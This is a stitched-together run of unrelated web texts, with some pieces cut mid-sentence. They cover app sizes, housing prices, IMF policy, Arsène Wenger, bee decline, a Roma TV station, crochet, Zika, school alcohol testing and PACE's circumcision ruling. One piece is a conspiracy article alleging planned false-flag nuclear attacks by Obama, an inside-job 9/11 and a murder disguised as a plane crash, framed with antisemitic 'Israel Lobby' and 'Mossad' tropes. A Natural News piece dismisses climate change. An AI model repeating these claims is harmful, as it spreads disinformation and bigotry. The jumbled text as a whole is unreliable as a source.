Mobile data connectivity: Users around the world have varying mobile data connectivity speeds. Particularly in developing countries, many people are coming online with connections slower than those of users in countries like the U.S. and Japan. Users on a slow connection are less likely to install an app or game that is going to take a long time to download.
Users around the world have varying mobile data connectivity speeds. Particularly in developing countries, many people are coming online with connections slower than those of users in countries like the U.S. and Japan. Users on a slow connection are less likely to install an app or game that is going to take a long time to download. Mobile data caps: Many mobile networks around the world give users a limited number of MB that they can download each month without incurring additional charges. Users are often wary of downloading large files for fear of exceeding their limits.
Many mobile networks around the world give users a limited number of MB that they can download each month without incurring additional charges. Users are often wary of downloading large files for fear of exceeding their limits. App performance: Mobile devices have limited RAM and storage space. The larger your app or game, the slower it may run, particularly on older devices.
Mobile devices have limited RAM and storage space. The larger your app or game, the slower it may run, particularly on older devices. Install time: People want to start using your app or game as quickly as possible after tapping the install button. Longer wait times increase the risk they’ll give up.
As a developer, are you excited about the new APK size limit? As a user, what do you think about potentially having bigger app file sizes to download? Let us know in the comments below, or on Google+, Twitter, or Facebook.From housing economist Tom Lawler:
In Goldman Sach’s weekly “Mortgage Analyst” report (April 4), Goldman analysts argue that the 7-8% “national” home price growth rate in 2012 suggested by some “major” home price indexes overstated the likely “true” growth rate in US home prices, and that “national” home prices more likely increased 3-4%” last year. Here is a quote from the piece.
“(W)e argue that national indices weighted by transactions (flow weighted) rather than housing stock (stock weighted) inflate the measured growth rate. If one controls for the “weighting effect” as well as the effect of a declining share of distressed sales, national house prices more likely increased 3-4% than 7-8% in 2012.”
Click on table for larger image.
Interestingly, the piece includes a table showing the 2012 growth rates in a number of different “national” home price indexes, some of which include distressed sales but others that don’t; some of which are “flow” based; some of which are housing stock based; some of which are “hedonic”; and one of which (the S&P Case-Shiller “national” HPI is a “flow/stock hybrid” (flow based for Census Division HPIs, but stock based (in value) when aggregating the Census Divisions into a “national” HPI).What Goldman analysts don’t explain, however, is if “national” home prices adjusted for adjusted for shifting “distressed” sales shares and “stock vs. flow” weighting “really” increased by 3.4%, then why did EVERY HPI that excludes distressed (or at least foreclosure) sales and which is “stock” weighted increase by MORE than 3-4%?The piece does, in a sloppy way, make a good point (which I’ve made many times): how one “builds up” local home price indexes to “national” home price indexes (e.g., unit vs. value stock weights, granularity of geographic HPIs, etc.) can have a substantial impact on the “national” HPI. But it’s estimate of “true” national home price growth last year is way too low.CR Note: This is a great summary table, although, as usual, ignore the NAR's median sales price. This suggests to me that "national prices" increased about 6% to 7% in 2012, after falling about 4% in 2011."You don't have to do this." Those are the near-last words of several victims in the Coen brothers' classic film No Country for Old Men, as they try to convince the movie's unrelenting assassin that he should spare them. The assassin, played by Javier Bardem, finds this annoying, because in his mind these murders are pre-determined.
So it is with the IMF's continuing confrontations with its borrowers, with one government after another pleading: "You don't have to do this." Turkey and Latvia were in the news last week, having joined the roster of governments whose IMF disbursements are being withheld because they find it politically impossible to impose the required punishments on their citizens.
The IMF sees these measures as necessary and pre-determined – in most cases by the borrowing countries' having run-up unsustainable external or budget imbalances. But in fact the IMF has a long track record – dating back decades – of imposing unnecessary and often harmful conditions on borrowing countries.
Latvia missed a 200 million euro disbursement from the IMF in March for not cutting its budget enough. According to press reports, the government wants to run a budget deficit of 7% of GDP for this year, and the IMF wants 5%. Latvia is already cutting its budget by 40%, and is planning to close some public hospitals and schools in order to make the IMF's targets, prompting street protests.
Latvia's GDP crashed by 18% in the first quarter of this year, after a 10.3% drop in the preceding quarter. These are among the worst declines in the world. This indicates that the IMF's prescription is serious overkill. The purpose of IMF aid is supposedly to make any necessary adjustment easier, not worse.
In Pakistan, it would be surprising if the US Treasury, which is the principal overseer of the IMF, did not see a need to ease up on the contractionary IMF conditions there. The government of nuclear-armed Pakistan is facing serious political problems right now, having recently launched a major offensive against a growing Taliban insurgency. Slowing Pakistan's economy at a time when the global economic crisis is already doing that may not be the best policy from the point of view of political stability. The IMF has negotiated an increase in Pakistan's fiscal deficit from 3.4% to 4.6% of GDP, but is holding the line against lowering interest rates.
In almost all of its standby arrangements negotiated over the last year, the IMF has included conditions that will reduce output and employment in situations where economies are already shrinking.
Yet here in Washington there is a rush to get the IMF more money without any congressional hearings or debate. We are told that poor countries will suffer if the IMF does not get a $108bn appropriation from Congress immediately. But this is nonsense.
If we add up all of the IMF's commitments under the 16 standby arrangements negotiated since the crisis intensified last year, the total is less than $46bn. The poorest countries will not be allowed to borrow anywhere near that amount.
The IMF already has $215bn on hand, plus more than $100bn in gold reserves. It plans to create another $250bn in SDR's, ie the IMF's currency. Even if we include the $67.5bn that Mexico ($47bn) and Poland ($20.5bn) together can tap under the IMF's flexible credit line, it is clear the IMF is trying to get hundreds of billions of dollars more than it is likely to need. And it has at least ten times the money that the poor countries – whose needs are pocket change compared to IMF resources – will ever be allowed to borrow.
Yet the Obama administration, in a surprise move out of nowhere on Tuesday, decided to try and attach the $108bn for the IMF to another spending bill in order to circumvent the normal legislative process. The reason for this stealth maneuver is that they might run into trouble in the House, where legislators are wary of voting for multi-billion blank cheques after the backlash against the Tarp financial bailout. They will try to convince Congress to approve this money without hearings or debate with the idea that it must be done in order to save poor people in poor countries.
Congress should be met with a chorus of opposition: "You don't have to do this."There comes a time when we must put aside childish things like trickle down economics and meritocracy and free market capitalism and compassionate Conservatism. They all sound very nice but history has shown them to be the most ignoble of lies, exploited by the 1% at the rest of our expense. If they were going to provide for a more prosperous society for us all to enjoy they would have done so by now. It is, in part, an intellectual hangover from the faux patrician days of the Commonwealth and Empire.
Like the Tories over the past 6 years, if they were remotely interested in social justice and an equitable society then the wealthiest in society wouldn’t have at least doubled their wealth over the past 6 years while Britain has been plunged into the greatest level of debt in this country’s history. In work poverty would not be rampant. Reliance on foodbanks would not be rampant. Household debt, job insecurity, housing insecurity, homelessness, suicide, child mental health issues, a collapsing NHS, school places crisis, racist attacks increasing, social care crisis, and with Police, Fire Brigade and the Ambulance Service at breaking point. Perpetuating the myth of a socially minded Conservative party is an act of wanton destruction that we can ill afford.
Is there another way?
I’ve argued before for a Universal Basic Income but that alone is no cure all. UBI must introduced as a part of a larger overhaul of how our economy is governed. It used to be that mortgage levels were calculated at around four times salary, a return we should legislate for. We have permitted the ‘free market’ to strip out the true value of our economy and replace it with a fabricated value based, not on the real economy but, on whatever the ‘market’ can stand regardless of the cost. We have put the cart before the horse and taxpayers ultimately pick up the bill. How we govern our economy is something that we can make choices for and, if we choose to, we can afford a UBI. We have lived under a model for our economy that is built top down; the basic premise for which is that if we permit those in the top 1–5% to maximize their accumulation of our nation’s wealth it will build a stronger economy and encourage growth that will benefit us all. That model has been proved to be an unmitigated failure. It is time that we build our economy bottom up so that it benefits all in society.
Truly affordable housing must be a cornerstone of a 21st Century Britain. That does not mean giving publicly owned land to developers for free or for next to nothing, it means local authorities having building programs to develop properties which will form public assets and afford homes at truly affordable levels. Not only will such programs offer the public the basic opportunity to live in a safe, secure and affordable home, it will turn the £billions we are currently handing to private landlords into national assets. On top of which, the extensive building will create both employment and training opportunities, as will the maintenance and administration of the properties. Real jobs providing real salaries that feed back into the real economy.
Britain has the third largest number of billionaires in the world, after the United States and China, with an estimated personal wealth of £344billion. That wealth represents money not working within our economy. It does not serve a country’s economy to have conditions which can be exploited to accrue such disproportionate levels of a nation’s wealth and it does not serve a country’s population to pursue legislation that protects those who accrue such disproportionate levels of wealth. It isn’t the politics of envy to oppose such narrowly beneficial policy making, it is simply unsound economic practice that is unsustainable and socially unjust for any government to favour the wealth accumulation of 1–5% over the equity of an entire population.
Addressing the insecurities that an ever increasing percentage of the population suffer from (the precariat) should be the bedrock of any discussion of Britain’s economic future and the point from which we build economic policy. We must put aside childish things and look upon these challenges with fresh eyes and not eyes clouded by a history of Empire and all the worst that went with it. Britain is faced with challenges that require it to grow up, the buffoons of the Bullingdon Club have long since stopped having the answers for our concerns, if they ever truly had them.
Like this: Like Loading...• Arsenal manager talks about coaching style in interview with L’Equipe • ‘I am only a guide. I allow others to express what they have in them’
Arsène Wenger has lifted the lid on some of his deepest philosophies in a revealing interview with a French magazine.
The Arsenal manager, who goes into Sunday’s north London derby against Tottenham with his side level on points with the Premier League leaders, Manchester City, addressed a number of topics including religion and his obsession with time in an interview with L’Equipe’s Sport and Style magazine.
Asked if he has a “mystical power” over his players when he is preparing them for a match, Wenger replied: “Religiously, it is said that God created man. I am only a guide. I allow others to express what they have in them. I have not created anything. I am a facilitator of what is beautiful in man.
“I define myself as an optimist. My constant battle in this business is to get out there what is beautiful in man. We can at this level portray me as naive. At the same time, it allows me to believe it and it often gives me reason.”
Gene Oliver (@mantomanmarking) Arsene Wenger, modèle. pic.twitter.com/0Lhs6oMF7J
Conducted at the Hotel Belles Rives – once the home of the American novelist F Scott Fitzgerald – in the south of France during the international break, the interview began by describing Wenger’s reaction to being dressed in a long grey flannel coat for a photoshoot. “It reminds me of when I went to school in Duttlenheim,” he remarked.
Wenger was then reminded he is approaching 7000 days as Arsenal’s manager having been appointed on 30 September 1996. “For me, it represents nothing other than the fact of practicing a profession exclusively facing forward. Look to the next day,” he said.
“I still live in the future. It is planned. Tight. My relationship with time is quite scary. I’m still trying to fight it. I’m always afraid of being late. Not to be ready. Not being able to accomplish all that I planned. My personal relationship with time is scary. To go back in time, to look behind yourself is equally staggering.”
Wenger added: “The only moment of possible happiness, is the present. The past gives regrets. And future uncertainties. Man quickly realised this and created the religion. It forgives him what he has done wrong in the past and tells him not to worry about the future, as you will go to paradise.”
As a player, Wenger was known for reading a passage from the Bible before matches but he admitted his attitude has altered since becoming a manager. “Unfortunately today, it works less! At the same time, fortunately, it means that my team does not necessarily need God to win.”(Natural News) In case you thought that reporting on the rapidly diminishing number of bee colonies around the country was being over-hyped, this should tell you that prior warnings were spot-on, and indeed, prophetic.
For the first time ever, a rare bee species is being placed on the endangered species list, giving them special legal protections enshrined in U.S. code that, hopefully, will save them from extinction and billions of people from starvation.
As reported by Agence France Presse (AFP), U.S. officials with the Fish and Wildlife Service said in recent days that the decision was made following major declines in the rusty patched bumblebee population.
Monsanto, as we’ve reported in the past, has a hand in this. Fish and Wildlife Service officials say that the precipitous decline in the bee population is due to pesticides, disease and “climate change” (okay, so two of the three causes are real). The primary ingredient in Monsanto’s widely used Roundup herbicide, glyphosate, was tied to declining bee populations more than three years ago. (RELATED: How is glyphosate affecting the environment? Keep current on the issue at Glyphosate.news.)
The federal agency says that the once-common bumblebees are now “balancing precariously on the brink of extinction,” according to a statement released by the department and cited by AFP.
“Abundance of the rusty patched bumble bee has plummeted by 87 percent, leaving small, scattered populations in 13 states and one province,” said the statement. This is down from 28 states in the 1990s, the Fish and Wildlife Service noted.
Support our mission and enhance your own self-reliance: The laboratory-verified Organic Emergency Survival Bucket provides certified organic, high-nutrition storable food for emergency preparedness. Completely free of corn syrup, MSG, GMOs and other food toxins. Ultra-clean solution for years of food security. Learn more at the Health Ranger Store.
AFP reported that the final rule listing the rusty patched bumble bee as endangered was published in the January 11 edition of the Federal Register. The designation becomes official on February 10.
The news agency noted further:
“Experts say the bees are important because they pollinate economically important crops such as tomatoes, cranberries and peppers across the central and northern United States, as well as parts of Canada.”
The decline of the population, officials say, is likely tied to a number of factors, including loss of habitat, disease, parasites, use of pesticides and extremely small population size.
The designation as endangered means that the remaining bees “are in danger of becoming extinct throughout all or a portion of their range,” FWS said in their statement. The agency added that its number one priority is to “act quickly” to prevent total loss of the species, according to FWS Midwest Regional Director Tom Melius.
“Listing the bee as endangered will help us mobilize partners and focus resources on finding ways right now to stop the decline,” he added.
Late in 2016, seven species of bees found in Hawaii were the first to be placed on the U.S. list of endangered and threatened species. The yellow faced or yellow masked bees are now endangered thanks to a host of factors in that state, including loss of habitat, according to wildlife experts.
The pervasive use of pesticides is most likely one of the top causes, if not the top cause, as we have reported. A study published in September 2014 in the Journal of Experimental Biology demonstrated for the first time both chronic and acute effects in honeybees that had been exposed to Roundup.
A joint laboratory and field analysis that was conducted by researchers from the University of Buenos Aries in Argentina discovered that Roundup exhibited harm at sub-lethal levels – meaning that the exposure did not kill bees necessarily, but otherwise still affected them.
In August, we reported further that 57 different herbicides were linked to rapidly declining bee populations, and were responsible for poisoning European honeybees.
What are the implications of the extinction of entire species of bees? According to the Natural Resources Defense Council, every third bite of food you take was pollinated by bees or other pollinators. Research indicates that at least 30 percent of food crops are pollinated by bees, as are 90 percent of wild plants.
“Without bees to spread seeds, many plants—including food crops—would die off,” the organization said in a fact sheet on bees.
J.D. Heyes is a senior writer for Natural News and News Target, as well as editor of The National Sentinel.
Sources:
Yahoo.com
NaturalNews.com
NRDC.org[PDF]
BigGovernment.news
NaturalNews.comBy Captain Eric H. May, Ghost Troop CO
Speculation continues to build that the Obama administration and its Israel Lobby handlers will use the 25th NATO Summit to carry out a false flag attack, and according to a recent Canada Free Press article, the Department of Homeland Security intends to strong-arm Americans soon.
In his provocative May 8 story, The planned re-election of Obama, revolutionary style, Doug Hagmann reports that, according to an unnamed DHS source, the federal government is preparing for widespread civil turmoil before the fall elections, which it will use as a pretext for martial law and dictatorship.
Coming shortly before the NATO Summit, Hagmann’s information resonates. It wouldn’t be the first time a principled official informed the public about looming treason, thereby saving lives. The current Deep Throat should remind counter-false flag activists of another, whose warning to Chicago became a rallying point for diverse defenders.
Less than a month after the Obama inauguration the 9/11 Truth and Patriot movements were hoping that, under a new administration, there finally would be free speech about the abuses of King George and his Bush League, beginning with the truth about September 11, 2001.
On Feb 6, 2009 the newly installed president held a much-publicized meeting with 9/11 widow and “Jersey Girl” Beverly Eckert, along with dozens of USS Cole and 9/11 family members. All had lost a spouse or parent to “terrorism,” and they asked many incisive questions, although Obama provided few decisive answers. In the next six days, American glasnost became a short-lived reality. Senator Patrick Leahy demanded a “Truth Commission.” As if to accentuate the fact that kerosene won’t melt or demolish steel, the Mandarin Orange Hotel in downtown Beijing burned from top to bottom for 24 hours without falling, let alone collapsing neatly into its own footprint as did the Twin Towers and WTC-7. The gatekeeper Huffington Post, which had previously banned 9/11 “conspiracy theories,” published a two-part op-ed demanding a genuine investigation of the attacks.
At 11:00, p.m. on Feb 12 a highly suspicious aviation disaster over New York State killed the same Beverly Eckert who had a week earlier threatened the American elite with the one thing they can never allow: the truth. An hour later Obama’s Congress posted the Stimulus Bill online. The next day, Friday the 13th, an alarmed House of Representatives voted in favor of legislation that it didn’t have the time to read. It was an alarming echo of the Patriot Act vote.
Many believed what Eckert and 48 other passengers had discovered the hard way: Obama could be as murderous as his tyrannical predecessor. Huff-Po and the rest of the limp Left immediately resumed their head-in-their-hole posture about the attacks of 2001. The more militant wing of the 9/11 Truth Movement mobilized, fearing that the next 9/11 might be close. It might even show that a “Nuclear Obama” could one-up a “King George” in mass murder.
Credible chatter from alarmed officials in the Chicago area convinced Ghost Troop that the new president and his Israeli chief of staff “Rahmbo” Emanuel might intend to nuke Sears Tower in the next few days. Major Bill Fox, my executive officer, and I hurriedly published a weekend bombshell:
Chicago False Flag? Analysis and Hypothesis An alarming report about Chicago reached me Thursday, Feb 12: Inside source reveals FEMA & DHS preparing for mass graves and martial law near Chicago. After I listened to the brief audio part of the report, I found no reason to reject the identification of the speaker as an inside source. As for the particulars of disaster preparations, they are consistent with specific inside information I have been receiving since April/May 2006. I will analyze the Chicago scenario more in an upcoming column. For the time being, I hope that concerned patriots will review this article and its links. Please forward it, especially to the Chicago area and its first responders. With further networking we shall assimilate and circulate information that the mainstream media withholds or distorts. The new Chicago information dovetails with the December 2008 article by Major William B. Fox, Chicago Cops Dodge Blagojevich/Sears Tower Investigation, about a successful effort by Internet activists to forestall a false flag attempt against the 110-story Sears Tower on May 3, 2006 (its 33rd anniversary), during NLE-06.
Over the weekend our article went viral, and on Sunday, Feb 15 Ghost Troop ally Theresa Mitchell, an astute political analyst who hosted Portland’s KBOO-FM political program, Presswatch, wrote:
“Well, I know I said it before, but I think you saved our asses (at least for a while) against a Sears Tower demolition. I have little doubt the Mossad/neocon factions are plotting Plan B.”
She had “said it before” when NLE-07, which targeted Portland for a dirty bomb attack, collapsed on Oct 18, 2007. That harrowing day began with an amazed Mitchell broadcasting It pays to monitor terror exercises about a timely Ghost Troop alert to Southeast Texas, which had anticipated a Dow Chemical explosion that morning by four hours. The day nearly ended with a bang as Homeland Security Director Michael Chertoff arrived: Bomb scare disrupts terrorism drill. Rumors circulated that Portland police officers had joined the counter-false flag effort, which would explain why they shut down the exercise.
As later events would demonstrate, Mitchell was right about the effectiveness of the Ghost Troop public affairs mission in Chicago. Operating in tandem with Internet activists, starting with those who provided and distributed the insider information, we led a successful cyber campaign.
When Obama signed the Stimulus Bill into law on Tuesday, Feb 17, it was supposed to be the highlight of his first year. He was treated as an abject failure, though, and for no small cause: He had botched the false flag operation against the Windy City, which explains why administration officials immediately began to say that it might take another stimulus program to finish the job:
Signing Stimulus, Obama Doesn’t Rule Out More DENVER — President Obama has not ruled out a second stimulus package, his press secretary, Robert Gibbs, said on Tuesday, just before Mr. Obama signed his $787 billion recovery package into law with a statement that it would “set our economy on a firmer foundation.”
Just hours later, Yahoo! delivered a powerful kick in the pants to Barack, described but not explained in ‘Obama bin Laden’ Error Hits Yahoo’s Homepage. The morning after a bizarre NY Post editorial cartoon of appeared, linking the Stimulus Bill to a dead chimpanzee, whom some wits began to refer to as “Obonzo.”The none-too-subtle message was:
“Boy, you’re nothing more than our chimp, and if you can |
you and I sympathetic to the cause, exercise skepticism when poking around these accounts. Be cautious of opening up or downloading files the same way you’re careful with e-mail attachments. Take a look, participate, but be wary.
For your perusal, the current “alt science” sites I’m aware of are listed below. My hunch after looking at them is that it’s possible they may have been created by the same group of people. Whatever their origin, they’re quickly becoming very popular. As of Wednesday evening (Jan. 25), Rogue NASA has 209,000 followers; AltEPA 41,600 and 883,000 at AltUSNatParkService.
* AltUSNatParkService
* AltEPA
* Rogue NASA
* AltNASA
For more on the new administration and NASA, check out Nancy Atkinson’s story “Could NASA Be Muzzled Under Trump Administration?”Launched in September 2012, Sutka TV is the world’s first Roma TV station catering to a community that is often misjudged and misrepresented. Its goal is to "show the true face of the Roma" to the world.
ADVERTISING Read more
Andrijano Dzeladin, founder of Sutka City TV - the first Roma TV channel, is an extremely proud man these days and he rarely misses an opportunity to explain the reason for this sense of self-satisfaction. "This is the first TV in the world for the Roma people. I put everything I had, all my savings, into it," said Dzeladin, breaking into a face-splitting grin in his Paris office.
The idea to launch Sutka City TV dates back to 2010, when Dzeladin was listening to a French radio show on the expulsion of a Roma community from a shantytown in France. “I called the radio show. I wanted to say that the Roma are not like that,” recounted Dzeladin.
The radio host, well-known French journalist, Jean-Jacques Bourdin, put his caller on air on RMC radio and Dzeladin found himself publicly declaring, “I want to show you our true face.”
Two years later, Sutka was born on September 2012. Sutka is the name of a suburb of the Macedonian capital of Skopje, where Dzeladin was born and grew up before moving to France in 2000. After arriving in France, Dzeladin did several odd jobs before starting his TV station.
But getting the world’s first Roma TV station on air was a hard struggle. "I fought. I sorted things out,” said Dzeladin, who is a Macedonian citizen. “I learned everything alone. But I succeeded. I wanted to show that the Roma are not all criminals, thieves. We have a culture, an anthem, a flag and integrity,” he said. “We can be journalists, doctors and artists. But there are not too many people who know this.”
The TV station provides an outlet to tackle the prejudices that bedevil the Roma. "In all our programs we want to speak the Romani language. We can speak French, some English, it depends on the language of the speaker, but in general, we speak our language, our dialects,” he explained.
Studio in the living room, control room in the bedroom...
At Sutka, most programs - culinary, cultural or musical - involve listeners. Programs include live debates on a range of topics from birth rites, weddings, funerals and exchange traditional recipes. “If you come from Serbia, Macedonia, Romania, Bulgaria – the customs change and people want to share their views,” explained Dzeladin.
"Sometimes the phone rings continuously. In our first hour live, we received something like 32 calls. Once, there were between 800 and 1,200 calls on the voicemail in just two hours,” he noted.
The small successes, however, do not entirely cancel out the new station's weak points. Sutka City TV has only two employees so far - Dzeladin and his "right hand man”.
The TV channel's founder does almost everything alone: presentation, technical assistance, news management, marketing and purchasing equipment. So of course, sometimes it's a bit of a mess. "There are a few duds, a few hiccups," he admits, "The technician does not turn down the volume when it is necessary, we’re short of a remote control..."
Then there’s the lack of space.
The office-cum-studio is located in an apartment in the 19th arrondissement in Paris and was never intended to house a TV station. The crammed premises feature consoles alongside coffee sachets, the living room serves as a studio, one bedroom is the control room and another room is used as an office.
"Yes, this is not France Télévisions or TF1,” admits Dzeladin, referring to the leading French TV stations. But he’s extremely proud of his "baby" – and he loves it almost as much as he loves his three children. The TV channel was launched on September 19, 2012 - the day his third daughter was born. "I had to choose between the hospital and the TV station," he recalls. He finally chose the latter " against my will,” he noted before rushing to justify his decision. "My daughter has her mother. Sutka has only me.”My myriad partially done projects are beginning to come together — namely two baskets and four pot holders.
After spending the past week working on two crochet baskets for my Ikea Expedit cubby system (one in royal blue, the other in dark orchid), I finally got them both done, leaving me with just one or two more baskets to crochet.
Here are the completed baskets arranged in the 2×4 Expedit unit (soon to be replaced with the more environmentally friendly Kallax):
and here they are attempting to sneak off for the afternoon to enjoy the spring like weather:
Happy to have made progress on the baskets, I was able to turn my attention to felting the M & M inspired potholders.
Yesterday, after I had woven in all of the ends that needed weaving in, I soaked the four potholders-to-be in a solution of vinegar and water (one part vinegar to four parts water). Once they were thoroughly soaked, I wrung out as much of the water as I could, and put them in a plastic bag that I then put in the freezer.
Today, when I had finally finished some much needed household chores, I retrieved the potholders from the freezer, and then started the felting process. I had to take my son to his trumpet lesson before I was able to get the potholders to a point I would call finished, but I did get very close.
Here is an overview:
and here is a closer look:
As can be seen in the photo, the potholders are a bit ruffly.
Tomorrow, after I have dispensed with the day’s chores, I plan to finish the felting process, pin the potholders to my blocking mats so that they dry just a bit flatter, and then take the momentum a finished project generates and move onto the next thing.Rare syndrome that causes immune system to damage nerve cells seen increasingly in patients with Zika virus, health minister announces
Colombia has seen a sharp spike in the number of patients diagnosed with a rare neurological disorder that can cause paralysis among people with the Zika virus, the health minister has said.
“In the past week we have seen a substantial increase in the number of people reported with Guillain-Barré,” said health minister Alejandro Gaviria, referring to a rare syndrome that causes a person’s own immune system to damage nerve cells, leading to muscle weakness and sometimes, paralysis.
A week ago only about 15 people infected with Zika were reported with the syndrome. “I think that figure now is in the hundreds,” he said on Thursday.
Gaviria said one neurologist in the northern coastal city of Cartagena had said he would normally see three cases of Guillain-Barre (GBS) in a year. “Now he’s seeing three in one day,” Gaviria said.
Until now most health alerts in the more than 20 countries where the Zika virus has been detected have concentrated on pregnant women, since the virus can cause microcephaly and brain damage to the foetus. Authorities in several Latin American countries have called on women to delay pregnancy until the outbreak eases.
GBS, however, can affect the wider population. “It’s our most important concern today,” the minister said.
On Thursday the World Health Organisation declared that the Zika virus, which by itself causes mild flu-like symptoms, is “spreading explosively”. It has been detected in 22 countries.
While there is no hard proof that the spike in microcephaly and Guillain-Barré are directly related to Zika, “the level of alarm is extremely high”.
“The possible links, only recently suspected, have rapidly changed the risk profile of Zika from a mild threat to one of alarming proportions,” said WHO chief Dr Margaret Chan.
Brazil had already reported an increase in GBS cases that have occurred at the same time as the outbreak of Zika virus but the association between the two has been considered anecdotal. The US Centers for Disease Control plans to conduct a study to determine if any relationship exists between the Zika virus infection and GBS.
Zika: what we know about the virus Read more
Chan said Zika had gone “from a mild threat to one of alarming proportions”.
Colombia is second to Brazil in the number of confirmed cases of Zika virus, with roughly 20,000 to date according to the minister.
Health ministers from around Latin America are planning a regional meeting next week to discuss strategies to fight the spread of the virus.CLOSE Freshman from several Morris County towns are already learning at the new Academy for Biotechnology that was officially opened on Thursday at Mountain Lakes High School. IPHONE VIDEO BY WILLIAM WESTHOVEN AUGUST 24, 2017 William Westhoven
Buy Photo Randolph head coach Mike Lyons makes his debut. Randolph football season opener vs. Livingston. The game is also the head coaching debut of veteran assistant Mike Lyons, in Randolph, NJ. Friday, Sept. 1, 2017. Correspondent/Karen Mancinelli/Daily Record MOR 0901 FB Randolph (Photo: Karen Mancinelli)Buy Photo
RANDOLPH - Scores of Randolph students were pulled from the bleachers of a Randolph High School football game Friday night and compelled to undergo alcohol screening after a beer can either fell or was thrown in front of school personnel monitoring the student section, according to a statement from district Superintendent Jennifer A. Fano.
The students were sequestered in classrooms before the kickoff of the season-opening home victory over Livingston, creating what some parents described as a chaotic scene.
Parents were contacted to pick up their children and have them screened. District policy and regulation states that failure to comply with a screening is deemed a positive test result and will result in a suspension from school, Fano explained.
"Upon further investigation, several other containers of alcohol were identified," Fano wrote in her Friday statement, posted on the the district website. "There were also other indicia that the students in this section had consumed alcohol. As educators, we are charged with enforcing policy. The law requires that we send students out to be tested when it appears that they may be under the influence of drugs or alcohol."
But some adults with ties to the school district say district administrators went too far, alleging district officials punished as many as 75 students students for the actions of a few, and caused additional confusion for both parents and medical professionals trying to comply with the order.
"Sadly, some of the student body marred the evening by attending the game under the influence of alcohol," school board candidate Christopher C. Treston wrote in a Facebook post. "At least a few smuggled alcohol into the game itself.... The safety of our students and the community is indeed paramount, and action by the school administration was absolutely warranted. However, the action taken at this event was disproportionate and exposed some serious gaps in district procedures."
According to a public Facebook post by Randolph High School student and Class of 2018 President Nate Pangaro, "Before the game could begin, an administrator went to the front and told everyone to be quiet. He announced that he found an opened beer can on the ground that rolled to him, and that someone should confess to (whose) it was before everyone was taken in for a breathalyzer test. No one confessed, so people went into the school each row at a time to be tested."
Students picked up by parents were eventually allowed to leave, Pangaro posted, but were given slips that they must go for urine and blood work at a medical facility to check for alcohol within two hours, or they would be subject to as much as five days of suspension.
Pangaro commented that he was at the game and agreed to testing because he did not want to be suspended.
The orders created anger and confusion among both parents and the medical personnel at area hospitals, according to Pangaro's post.
"Students then proceeded to emergency rooms in Dover, Denville, Morristown and Livingston," Christopher C. Treston, a school board candidate, posted on his campaign Facebook page. "The emergency departments at Dover and at Morristown were not given any warning of what was coming, and were overwhelmed."
Sheryll Lynne Penney, a former Randolph PTO president and mother of a 2017 Randolph High graduate, spoke exclusively in that capacity with the Daily Record. Penney said she had been contacted by several parents who expressed similar confusion and anger. Those parents said they believed their constitutional rights, as well as the rights of their children, had been violated.
"The students sign a code of conduct and they need to be held accountable, but so does the administration for handling the situation professionally," Penney said.
Treston told the Daily Record he attended the game with his twins, both sophomores at the school, after being with them the entire day. His son, who made his way to the student section, was among the students rounded up for testing. His daughter was not in the student section and was not part of the testing.
Based on his observations and discussions with others in attendance, Treston estimated based that about 75 students eventually were tested, and less than five produced a positive test result for alcohol.
"Let me be very clear: teenage drinking is a serious problem, and it did in fact occur at our school on Friday night," Treston wrote. "Our process of preventing backpacks, bottles and cans from entering the stadium broke down. In addition, some number of students arrived intoxicated. We owe it to the community to identify such students, and to protect them and the community. But, we also need to do it in a way that protects the rights and dignity of the student body. When the accused-but-innocent outnumber the guilty 16 to one, we probably did it wrong."
Fano, in her statement, disputed the level of confusion surrounding the incident and stressed that all supervising parties acted appropriately.
"On Friday evening, I also spoke with the medical professionals in Morristown, Dover and Denville who were charged with processing the student screenings," she wrote. "The medical professionals understood that our administrators are not responsible for determining sobriety and that we were properly following the law and policy. Members of the Randolph police were at the game and effectively assisted administration in following school procedures. It is my hope that this event leads us all to reflect. School events are meant to be a time to come together, celebrate our community, and make positive memories. Friday evening was just that for many, but for some it was not."
Staff writer William Westhoven: 973-917-9242; [email protected].
Read or Share this story: http://dailyre.co/2gz6HYlDear Reader, As you can imagine, more people are reading The Jerusalem Post than ever before. Nevertheless, traditional business models are no longer sustainable and high-quality publications, like ours, are being forced to look for new ways to keep going. Unlike many other news organizations, we have not put up a paywall. We want to keep our journalism open and accessible and be able to keep providing you with news and analysis from the frontlines of Israel, the Middle East and the Jewish World.
Two years of efforts by the Knesset to combat a resolution by the Parliamentary Assembly of the Council of Europe recommending that countries ban ritual circumcision bore fruit Thursday, when it was reversed via a resolution on religious freedoms.
Passed with 73 in favor and six opposed, the resolution recommends that PACE member states “seek reasonable accommodations with a view to guaranteeing equality that is effective, and not merely formal, in the right to freedom of religion.”
It gives general guidelines to promote coexistence and fight hate speech, allowing religious communities to practice their faith, manage welfare institutions and express their opinions.The resolution refers specifically to Islamophobia, but not to anti-Semitism.The council recommended that states require circumcisions to be performed by people trained to do so, in appropriate medical and health conditions, and that parents be informed of any medical risk to their child.The resolution also addresses ritual slaughter, stating that PACE is not convinced it should be banned, and recommends following the French or German model of protecting animals from unnecessary suffering while respecting religious freedom.MK Esawi Frej (Meretz), who represented the Knesset at the vote, called the decision a victory for common sense.“The argument about whether to circumcise is legitimate, but opponents of the ancient ritual should fight through education and public relations and not try to force their opinions through legislation,” Frej said.In October 2013, PACE’s Social Affairs, Health and Sustainable Development Committee approved a resolution by German rapporteur Marlene Rupperecht stating that ritual circumcision, in addition to piercings, tattoos, plastic surgery, medical intervention in cases of possibly transgender children and female genital mutilation, violates children’s right to protect their physical integrity.It also recommended that laws be passed “to ensure that certain operations and practices will not be carried out before a child is old enough to be consulted.” Jews perform ritual circumcision on boys when they are eight days old, and Muslims do so at the age of 13.PACE resolutions are non-binding, but are taken seriously by member states.Since the resolution passed, the Knesset, under Speaker Yuli Edelstein’s leadership and the guidance of Knesset Diplomatic Advisor Oded Ben-Hur, has sent delegations of MKs, Jewish and Muslim, to PACE and to countries from Azerbaijan in the East to Paris in the West, to enlist their European colleagues from other countries in the battle against the decision and other initiatives to ban ritual circumcision.MKs advocated for ritual circumcision to be dealt with as a matter of religious freedom, as opposed to children’s rights, moving it to PACE’s Culture, Science Education and Media Committee, which discusses religious issues, among others.Edelstein said on Thursday he is glad the Knesset’s efforts were successful.“From the first, it was clear that PACE’s recommendation was outrageous, unreasonable and clearly harms many people’s freedom of religion,” he stated. “I hope that we will not have to fight for basic rights like brit mila in the future.”The Conference of European Rabbis worked with rapporteur Rafael Huseynov of Azerbaijan, who composed the report on which the new resolution was based, over the course of 18 months to make sure the interests of European Jewish communities were taken into consideration.CER President Rabbi Pinhas Goldschmidt called the resolution “a step forward in our battle to 